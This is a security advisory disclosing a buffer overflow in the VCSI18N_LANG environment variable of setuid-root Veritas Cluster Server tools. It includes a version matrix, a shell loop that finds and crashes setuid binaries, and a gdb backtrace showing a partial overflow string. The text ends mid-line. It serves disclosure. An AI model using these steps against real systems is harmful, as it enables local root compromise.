Author: Kevin Finisterre
Vendor: http://www.Veritas.com
Product: 'Veritas Cluster Server for UNIX'
References: http://www.digitalmunition.com/DMA[2005-1112a].txt
http://www.symantec.com/avcenter/security/Content/2005.11.08a.html
Description:
Veritas Cluster Server is the industry's leading open systems clustering solution. It is ideal
for reducing planned and unplanned downtime, facilitating server consolidation, and effectively
managing a wide range of applications in heterogeneous environments. With support for up to 32
node clusters, Veritas Cluster Server features the power and flexibility to protect everything
from a single critical database instance, to the largest, globally dispersed, multi-application
clusters.
A buffer overflow has been identified in the VCSI18N_LANG environment variable which is used
by a number of setuid root applications in Storage Foundation.
The following matrix of vulnerable products has been identified by Smantec
VCS Solaris AIX HP-UX RedHat Linux SuSE Linux ESX
3.5 3.5P5+ 3.5P2+ 3.5Update3+ 2.2MP2+ 2.2MP2 2.2MP2
4.0 4.0MP2+ 4.0MP2+ N/A 4.0MP2+ N/A N/A
The below information was tested on VERITAS Storage Foundation 4.0 for Red Hat Enterprise Linux
which includes the Veritas Cluster Server.
Exploitation of this issue is quite trivial in nature.
kfinisterre01:/opt/VRTSvcs/bin$ for each in `find . -perm -4000`
>> do
>> echo $each
>> $each a
>> done
./haagent
Segmentation fault
./haalert
Segmentation fault
./haattr
Segmentation fault
./hacli
Segmentation fault
./hacli_runcmd
./haclus
Segmentation fault
./haconf
Segmentation fault
./hadebug
Segmentation fault
./hagrp
Segmentation fault
./hahb
Segmentation fault
./halog
Segmentation fault
./hareg
Segmentation fault
./hares
Segmentation fault
./hastatus
Segmentation fault
./hasys
Segmentation fault
./hatype
Segmentation fault
./hauser
Segmentation fault
./tststew
Segmentation fault
kfinisterre01:/opt/VRTSvcs/bin# gdb ./hahb
(gdb) r
Starting program: /opt/VRTSvcs/bin/hahb
[Thread debugging using libthread_db enabled]
[New Thread -1211486080 (LWP 26902)]
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211486080 (LWP 26902)]
0xb7ccea00 in getenv () from /lib/tls/libc.so.6
(gdb) bt
#0 0xb7ccea00 in getenv () from /lib/tls/libc.so.6
#1 0xb7cc2b57 in __gconv_get_cache () from /lib/tls/libc.so.6
#2 0xb7cbc4aa in __gconv_get_alias_db () from /lib/tls/libc.so.6
#3 0xb7ec70d2 in pthread_once () from /lib/tls/libpthread.so.0
#4 0xb7cbb516 in __gconv_get_alias_db () from /lib/tls/libc.so.6
#5 0xb7cba7d9 in iconv_close () from /lib/tls/libc.so.6
#6 0xb7cba3e5 in iconv_open () from /lib/tls/libc.so.6
#7 0x0807e89b in i18n_conv_open (lang=0xbf830860 'A' <repeats 48
times>, "`b2||FR-SIRT||SUCKS||03¿AAAAÐ203nb
